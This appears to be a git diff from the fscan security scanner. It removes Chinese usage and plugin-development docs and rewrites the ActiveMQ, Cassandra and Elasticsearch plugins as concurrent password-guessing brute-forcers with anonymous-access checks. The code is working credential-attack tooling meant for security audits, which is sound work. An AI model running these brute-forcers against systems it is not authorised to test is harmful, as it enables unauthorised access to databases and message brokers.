match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: ListManagerWeb/([\w.]+) \(based on Tcl-Webserver/([\d.]+)\)\r\n|s p/Lyris ListManagerWeb/ v/$1/ i/based on Tcl-Webserver $2/ match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: ListManagerWeb/([\w.]+) \(based on Tcl-Webserver/([\d.]+)\)\r\n|s p/Lyris ListManagerWeb/ v/$1/ i/based on Tcl-Webserver $2/

View File

@ -1,155 +0,0 @@
# Fscan2.0使用指南
大家好我是ZacharyZcR很荣幸能参与Fcan的重构工作本文档将会带您详细了解Fcan2.0的新特性。
目前已经完成的新增功能:
新增Telnet、VNC、Elasticsearch、RabbitMQ、Kafka、ActiveMQ、LDAP、SMTP、IMAP、POP3、SNMP、Zabbix、Modbus、Rsync、Cassandra、Neo4j扫描。
新增SYN和UDP端口扫描。
## 0x01 代码结构重构
代码架构经过全面重构现已优化为四个主要模块Common、Core、Plugins和WebScan。
每个模块都有其明确的职责划分:
### Common 模块
负责基础功能实现,包括参数解析和配置管理。作为底层支撑模块,为其他模块提供基础服务支持。
### Core 模块
作为Fscan的核心引擎实现端口扫描等基础功能。该模块是整个系统的中枢负责协调和调度其他功能模块。
### Plugins 模块
提供多样化的扫描插件实现,支持功能扩展和定制化需求。
### WebScan 模块
专门负责Web应用层面的扫描功能提供深度的Web安全评估能力。
### 代码规范
为提升代码质量和可维护性,我们制定了以下规范:
1. 文件命名采用大驼峰命名法,所有文件名以大写字母开头
2. 内部函数和方法的命名保持灵活性,以实用性为准
3. 使用LLM技术对全部代码进行了注释补充和优化
4. 完善了代码文档,便于开发者理解和进行二次开发
## 0x02 插件热插拔设计
Fcan 2.0采用了基于反射机制的插件热插拔架构,实现了插件的灵活添加和移除。以下是详细说明:
### 插件注册机制
插件注册通过 `Core/Registry.go` 文件实现,使用简洁的注册语法:
```go
Common.RegisterPlugin("mysql", Common.ScanPlugin{
Name: "MySQL",
Ports: []int{3306, 3307},
ScanFunc: Plugins.MysqlScan,
})
```
注册结构包含三个关键要素:
- 插件标识符(小写字符串)
- 插件名称(显示名称)
- 默认扫描端口
- 具体实现函数
### 端口配置
`Common/Ports.go` 中定义了多组预设端口配置:
- ServicePorts常用服务端口
- DbPorts数据库相关端口
- WebPortsWeb服务端口
- AllPorts全端口范围1-65535
- MainPorts核心服务端口
### 扫描模式配置
`Common/ParseScanMode.go` 中定义了默认扫描模式分组:
```go
var pluginGroups = map[string][]string{
ModeAll: [...], // 全量扫描
ModeBasic: [...], // 基础扫描
ModeDatabase: [...], // 数据库扫描
ModeWeb: [...], // Web服务扫描
ModeService: [...], // 基础服务扫描
ModeVul: [...], // 漏洞扫描
ModeLocal: [...], // 本地信息收集
}
```
### 使用方式
插件注册后即可通过 `-m` 参数调用,无需额外配置。这种设计既保证了扩展性,又维持了使用的简便性。若需要更多便捷功能,可通过修改相应配置文件实现。
## 0x03 Fscan-Lab
Fscan-Lab是一个集成的测试环境平台专为安全学习和功能验证设计。
### 功能特点
1. 预配置Docker环境
- 位于TestDocker目录下
- 包含多种预设测试场景
- 环境经过完整测试和验证
2. 使用场景
- 新手用户快速入门
- 功能学习与实践
- 插件开发测试验证
- 单点功能调试
### 优势
- 即开即用:预置环境免去繁琐配置
- 标准化:统一的测试环境确保结果可复现
- 安全可控:本地环境避免误操作风险
- 快速验证:便于开发者进行功能测试
## 0x04 本地扫描与本地利用
Fscan 2.0正在开发一套全新的本地化功能模块,主要包含以下方向:
### 计划功能
1. 本地敏感信息搜集
2. 本地提权检测与利用
3. 隧道搭建功能
4. 权限维持组件
### 开发状态
该模块目前处于积极开发阶段我们正在努力确保每个功能的安全性和可靠性。这个新增模块将极大扩展Fscan的功能范围使其成为一个更全面的安全评估工具。
### 未来展望
我们将在确保功能稳定性的基础上,逐步发布这些新特性。欢迎社区持续关注项目进展,也欢迎有兴趣的开发者参与贡献。
具体发布时间和详细功能列表将在开发完成后公布,敬请期待。
## 0x05 更多功能与开发说明
### 持续开发
Fscan 2.0目前处于活跃开发阶段:
- 最新代码会持续发布到dev分支
- 更新频率较高
- 功能不断优化和扩展
### 版本选择建议
由于dev分支的特点
- 更新速度快
- 不保证完全稳定
- 可能包含实验性功能
建议用户根据实际需求选择合适的版本:
- 追求稳定性的用户建议使用主分支
- 需要尝试新功能的用户可以使用dev分支
### 致谢
感谢您对Fscan 2.0的关注。我们将继续完善功能,提供更好的使用体验。
ZacharyZcR

View File

@ -1,88 +0,0 @@
# FScan 插件开发指南
## 1. 创建插件
`Plugins` 目录下创建你的插件文件,例如 `myPlugin.go`:
```go
package Plugins
import (
"github.com/shadow1ng/fscan/Common"
)
func MyPluginScan(info *Common.HostInfo) error {
// 1. 基础检查
if info == nil {
return errors.New("Invalid host info")
}
// 2. 实现扫描逻辑
result, err := doScan(info)
if err != nil {
return err
}
// 3. 处理结果
if result.Vulnerable {
Common.LogSuccess(fmt.Sprintf("Found vulnerability in %s:%d", info.Host, info.Port))
}
return nil
}
```
## 2. 注册插件
`Core/Registry.go` 中注册你的插件:
```go
Common.RegisterPlugin("myplugin", Common.ScanPlugin{
Name: "MyPlugin",
Port: 12345, // 指定端口如果是web类插件可设为0
ScanFunc: Plugins.MyPluginScan,
})
```
## 3. 开发规范
### 插件结构
- 每个插件应当是独立的功能模块
- 使用清晰的函数名和变量名
- 添加必要的注释说明功能和实现逻辑
### 错误处理
```go
// 推荐的错误处理方式
if err != nil {
return fmt.Errorf("plugin_name scan error: %v", err)
}
```
### 日志输出
```go
// 使用内置的日志函数
Common.LogSuccess("发现漏洞")
Common.LogError("扫描错误")
```
## 4. 测试验证
- 编译整个项目确保无错误
- 实际环境测试插件功能
- 验证与其他插件的兼容性
## 5. 提交流程
1. Fork 项目仓库
2. 创建功能分支
3. 提交代码更改
4. 编写清晰的提交信息
5. 创建 Pull Request
## 注意事项
- 遵循 Go 编码规范
- 保证代码可读性和可维护性
- 禁止提交恶意代码
- 做好异常处理和超时控制
- 避免过度消耗系统资源
- 注意信息安全,不要泄露敏感数据

View File

@ -1,189 +1,318 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"net" "net"
"strings" "strings"
"sync"
"time" "time"
) )
// ActiveMQCredential 表示一个ActiveMQ凭据
type ActiveMQCredential struct {
Username string
Password string
}
// ActiveMQScanResult 表示扫描结果
type ActiveMQScanResult struct {
Success bool
Error error
Credential ActiveMQCredential
}
func ActiveMQScan(info *Common.HostInfo) (tmperr error) { func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute { if Common.DisableBrute {
return return
} }
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 先尝试默认账户
Common.LogDebug("尝试默认账户 admin:admin") Common.LogDebug("尝试默认账户 admin:admin")
// 首先测试默认账户 defaultCredential := ActiveMQCredential{Username: "admin", Password: "admin"}
for retryCount := 0; retryCount < maxRetries; retryCount++ { defaultResult := tryActiveCredential(ctx, info, defaultCredential, Common.Timeout, Common.MaxRetries)
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试默认账户", retryCount+1))
}
flag, err := ActiveMQConn(info, "admin", "admin") if defaultResult.Success {
if flag { saveActiveMQSuccess(info, target, defaultResult.Credential)
successMsg := fmt.Sprintf("ActiveMQ服务 %s 成功爆破 用户名: admin 密码: admin", target) return nil
Common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "activemq",
"username": "admin",
"password": "admin",
"type": "weak-password",
},
}
Common.SaveResult(result)
return nil
}
if err != nil {
errMsg := fmt.Sprintf("ActiveMQ服务 %s 默认账户尝试失败: %v", target, err)
Common.LogError(errMsg)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
return err
}
continue
}
}
break
} }
totalUsers := len(Common.Userdict["activemq"]) // 生成所有凭据组合
totalPass := len(Common.Passwords) credentials := generateActiveMQCredentials(Common.Userdict["activemq"], Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass)) Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["activemq"]), len(Common.Passwords), len(credentials)))
tried := 0 // 使用工作池并发扫描
total := totalUsers * totalPass result := concurrentActiveMQScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 遍历所有用户名密码组合 // 记录成功结果
for _, user := range Common.Userdict["activemq"] { saveActiveMQSuccess(info, target, result.Credential)
for _, pass := range Common.Passwords { return nil
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
flag, err := ActiveMQConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{flag, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success {
successMsg := fmt.Sprintf("ActiveMQ服务 %s 成功爆破 用户名: %v 密码: %v", target, user, pass)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "activemq",
"username": user,
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errMsg := fmt.Sprintf("ActiveMQ服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
Common.LogError(errMsg)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried)) // 检查是否因为全局超时而退出
return tmperr select {
case <-ctx.Done():
Common.LogDebug("ActiveMQ扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认凭据
return nil
}
} }
// ActiveMQConn 统一的连接测试函数 // generateActiveMQCredentials 生成ActiveMQ的用户名密码组合
func ActiveMQConn(info *Common.HostInfo, user string, pass string) (bool, error) { func generateActiveMQCredentials(users, passwords []string) []ActiveMQCredential {
timeout := time.Duration(Common.Timeout) * time.Second var credentials []ActiveMQCredential
addr := fmt.Sprintf("%s:%s", info.Host, info.Ports) for _, user := range users {
for _, pass := range passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, ActiveMQCredential{
Username: user,
Password: actualPass,
})
}
}
return credentials
}
conn, err := net.DialTimeout("tcp", addr, timeout) // concurrentActiveMQScan 并发扫描ActiveMQ服务
func concurrentActiveMQScan(ctx context.Context, info *Common.HostInfo, credentials []ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *ActiveMQScanResult, 1)
workChan := make(chan ActiveMQCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryActiveCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("ActiveMQ并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryActiveCredential 尝试单个ActiveMQ凭据
func tryActiveCredential(ctx context.Context, info *Common.HostInfo, credential ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &ActiveMQScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := ActiveMQConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &ActiveMQScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &ActiveMQScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// ActiveMQConn 尝试ActiveMQ连接
func ActiveMQConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
addr := fmt.Sprintf("%s:%v", info.Host, info.Ports)
// 使用上下文创建带超时的连接
dialer := &net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}
conn, err := dialer.DialContext(ctx, "tcp", addr)
if err != nil { if err != nil {
return false, err return false, err
} }
defer conn.Close() defer conn.Close()
// STOMP协议的CONNECT命令 // 创建结果通道
stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00", user, pass) resultChan := make(chan struct {
success bool
err error
}, 1)
// 发送认证请求 // 在协程中处理认证
conn.SetWriteDeadline(time.Now().Add(timeout)) go func() {
if _, err := conn.Write([]byte(stompConnect)); err != nil { // STOMP协议的CONNECT命令
return false, err stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00", user, pass)
// 发送认证请求
conn.SetWriteDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
if _, err := conn.Write([]byte(stompConnect)); err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, err}:
}
return
}
// 读取响应
conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
respBuf := make([]byte, 1024)
n, err := conn.Read(respBuf)
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, err}:
}
return
}
// 检查认证结果
response := string(respBuf[:n])
var success bool
var resultErr error
if strings.Contains(response, "CONNECTED") {
success = true
resultErr = nil
} else if strings.Contains(response, "Authentication failed") || strings.Contains(response, "ERROR") {
success = false
resultErr = fmt.Errorf("认证失败")
} else {
success = false
resultErr = fmt.Errorf("未知响应: %s", response)
}
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{success, resultErr}:
}
}()
// 等待认证结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.err
case <-ctx.Done():
return false, ctx.Err()
} }
}
// 读取响应
conn.SetReadDeadline(time.Now().Add(timeout)) // saveActiveMQSuccess 记录并保存ActiveMQ成功结果
respBuf := make([]byte, 1024) func saveActiveMQSuccess(info *Common.HostInfo, target string, credential ActiveMQCredential) {
n, err := conn.Read(respBuf) successMsg := fmt.Sprintf("ActiveMQ服务 %s 成功爆破 用户名: %v 密码: %v",
if err != nil { target, credential.Username, credential.Password)
return false, err Common.LogSuccess(successMsg)
}
// 保存结果
// 检查认证结果 result := &Common.ScanResult{
response := string(respBuf[:n]) Time: time.Now(),
Type: Common.VULN,
if strings.Contains(response, "CONNECTED") { Target: info.Host,
return true, nil Status: "vulnerable",
} Details: map[string]interface{}{
"port": info.Ports,
if strings.Contains(response, "Authentication failed") || strings.Contains(response, "ERROR") { "service": "activemq",
return false, fmt.Errorf("认证失败") "username": credential.Username,
} "password": credential.Password,
"type": "weak-password",
return false, fmt.Errorf("未知响应: %s", response) },
}
Common.SaveResult(result)
} }

View File

@ -1,154 +1,225 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
"github.com/gocql/gocql" "github.com/gocql/gocql"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"strconv" "strconv"
"strings" "strings"
"sync"
"time" "time"
) )
// CassandraCredential 表示一个Cassandra凭据
type CassandraCredential struct {
Username string
Password string
}
// CassandraScanResult 表示扫描结果
type CassandraScanResult struct {
Success bool
IsAnonymous bool
Error error
Credential CassandraCredential
}
func CassandraScan(info *Common.HostInfo) (tmperr error) { func CassandraScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute { if Common.DisableBrute {
return return
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
maxRetries := Common.MaxRetries
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 先尝试无认证访问
Common.LogDebug("尝试无认证访问...") Common.LogDebug("尝试无认证访问...")
// 首先测试无认证访问 anonymousCredential := CassandraCredential{Username: "", Password: ""}
for retryCount := 0; retryCount < maxRetries; retryCount++ { anonymousResult := tryCassandraCredential(ctx, info, anonymousCredential, Common.Timeout, Common.MaxRetries)
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
}
flag, err := CassandraConn(info, "", "") if anonymousResult.Success {
if flag && err == nil { saveCassandraSuccess(info, target, anonymousResult.Credential, true)
successMsg := fmt.Sprintf("Cassandra服务 %s 无认证访问成功", target) return nil
Common.LogSuccess(successMsg)
// 保存无认证访问结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "cassandra",
"auth_type": "anonymous",
"type": "unauthorized-access",
"description": "数据库允许无认证访问",
},
}
Common.SaveResult(result)
return err
}
if err != nil && Common.CheckErrs(err) != nil {
if retryCount == maxRetries-1 {
return err
}
continue
}
break
} }
totalUsers := len(Common.Userdict["cassandra"]) // 生成所有凭据组合
totalPass := len(Common.Passwords) credentials := generateCassandraCredentials(Common.Userdict["cassandra"], Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass)) Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["cassandra"]), len(Common.Passwords), len(credentials)))
tried := 0 // 使用工作池并发扫描
total := totalUsers * totalPass result := concurrentCassandraScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 遍历所有用户名密码组合 // 记录成功结果
for _, user := range Common.Userdict["cassandra"] { saveCassandraSuccess(info, target, result.Credential, false)
for _, pass := range Common.Passwords { return nil
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
success, err := CassandraConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{success, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
successMsg := fmt.Sprintf("Cassandra服务 %s 爆破成功 用户名: %v 密码: %v", target, user, pass)
Common.LogSuccess(successMsg)
// 保存爆破成功结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "cassandra",
"username": user,
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("Cassandra服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried)) // 检查是否因为全局超时而退出
return tmperr select {
case <-ctx.Done():
Common.LogDebug("Cassandra扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil
}
} }
// CassandraConn 清理后的连接测试函数 // generateCassandraCredentials 生成Cassandra的用户名密码组合
func CassandraConn(info *Common.HostInfo, user string, pass string) (bool, error) { func generateCassandraCredentials(users, passwords []string) []CassandraCredential {
var credentials []CassandraCredential
for _, user := range users {
for _, pass := range passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, CassandraCredential{
Username: user,
Password: actualPass,
})
}
}
return credentials
}
// concurrentCassandraScan 并发扫描Cassandra服务
func concurrentCassandraScan(ctx context.Context, info *Common.HostInfo, credentials []CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *CassandraScanResult, 1)
workChan := make(chan CassandraCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryCassandraCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Cassandra并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryCassandraCredential 尝试单个Cassandra凭据
func tryCassandraCredential(ctx context.Context, info *Common.HostInfo, credential CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &CassandraScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := CassandraConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &CassandraScanResult{
Success: true,
IsAnonymous: credential.Username == "" && credential.Password == "",
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &CassandraScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// CassandraConn 尝试Cassandra连接支持上下文超时
func CassandraConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(Common.Timeout) * time.Second
cluster := gocql.NewCluster(host) cluster := gocql.NewCluster(host)
cluster.Port, _ = strconv.Atoi(port) cluster.Port, _ = strconv.Atoi(port)
cluster.Timeout = timeout cluster.Timeout = timeout
cluster.ConnectTimeout = timeout
cluster.ProtoVersion = 4 cluster.ProtoVersion = 4
cluster.Consistency = gocql.One cluster.Consistency = gocql.One
@ -161,18 +232,111 @@ func CassandraConn(info *Common.HostInfo, user string, pass string) (bool, error
cluster.RetryPolicy = &gocql.SimpleRetryPolicy{NumRetries: 3} cluster.RetryPolicy = &gocql.SimpleRetryPolicy{NumRetries: 3}
session, err := cluster.CreateSession() // 创建会话通道
if err != nil { sessionChan := make(chan struct {
return false, err session *gocql.Session
err error
}, 1)
// 在后台创建会话,以便可以通过上下文取消
go func() {
session, err := cluster.CreateSession()
select {
case <-ctx.Done():
if session != nil {
session.Close()
}
case sessionChan <- struct {
session *gocql.Session
err error
}{session, err}:
}
}()
// 等待会话创建或上下文取消
var session *gocql.Session
var err error
select {
case result := <-sessionChan:
session, err = result.session, result.err
if err != nil {
return false, err
}
case <-ctx.Done():
return false, ctx.Err()
} }
defer session.Close() defer session.Close()
var version string // 尝试执行查询,测试连接是否成功
if err := session.Query("SELECT peer FROM system.peers").Scan(&version); err != nil { resultChan := make(chan struct {
if err := session.Query("SELECT now() FROM system.local").Scan(&version); err != nil { success bool
return false, err err error
}, 1)
go func() {
var version string
var err error
// 尝试两种查询,确保至少一种成功
err = session.Query("SELECT peer FROM system.peers").WithContext(ctx).Scan(&version)
if err != nil {
err = session.Query("SELECT now() FROM system.local").WithContext(ctx).Scan(&version)
}
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{err == nil, err}:
}
}()
// 等待查询结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.err
case <-ctx.Done():
return false, ctx.Err()
}
}
// saveCassandraSuccess 记录并保存Cassandra成功结果
func saveCassandraSuccess(info *Common.HostInfo, target string, credential CassandraCredential, isAnonymous bool) {
var successMsg string
var details map[string]interface{}
if isAnonymous {
successMsg = fmt.Sprintf("Cassandra服务 %s 无认证访问成功", target)
details = map[string]interface{}{
"port": info.Ports,
"service": "cassandra",
"auth_type": "anonymous",
"type": "unauthorized-access",
"description": "数据库允许无认证访问",
}
} else {
successMsg = fmt.Sprintf("Cassandra服务 %s 爆破成功 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "cassandra",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
} }
} }
return true, nil Common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
} }

View File

@ -1,153 +1,214 @@
package Plugins package Plugins
import ( import (
"context"
"crypto/tls" "crypto/tls"
"encoding/base64" "encoding/base64"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"net/http" "net/http"
"strings" "strings"
"sync"
"time" "time"
) )
func ElasticScan(info *Common.HostInfo) (tmperr error) { // ElasticCredential 表示Elasticsearch的凭据
if Common.DisableBrute { type ElasticCredential struct {
return Username string
} Password string
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug("尝试无认证访问...")
// 首先测试无认证访问
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
}
flag, err := ElasticConn(info, "", "")
if flag && err == nil {
successMsg := fmt.Sprintf("Elasticsearch服务 %s 无需认证", target)
Common.LogSuccess(successMsg)
// 保存无认证访问结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "elasticsearch",
"type": "unauthorized-access",
},
}
Common.SaveResult(result)
return err
}
if err != nil && Common.CheckErrs(err) != nil {
if retryCount == maxRetries-1 {
return err
}
continue
}
break
}
totalUsers := len(Common.Userdict["elastic"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)",
totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
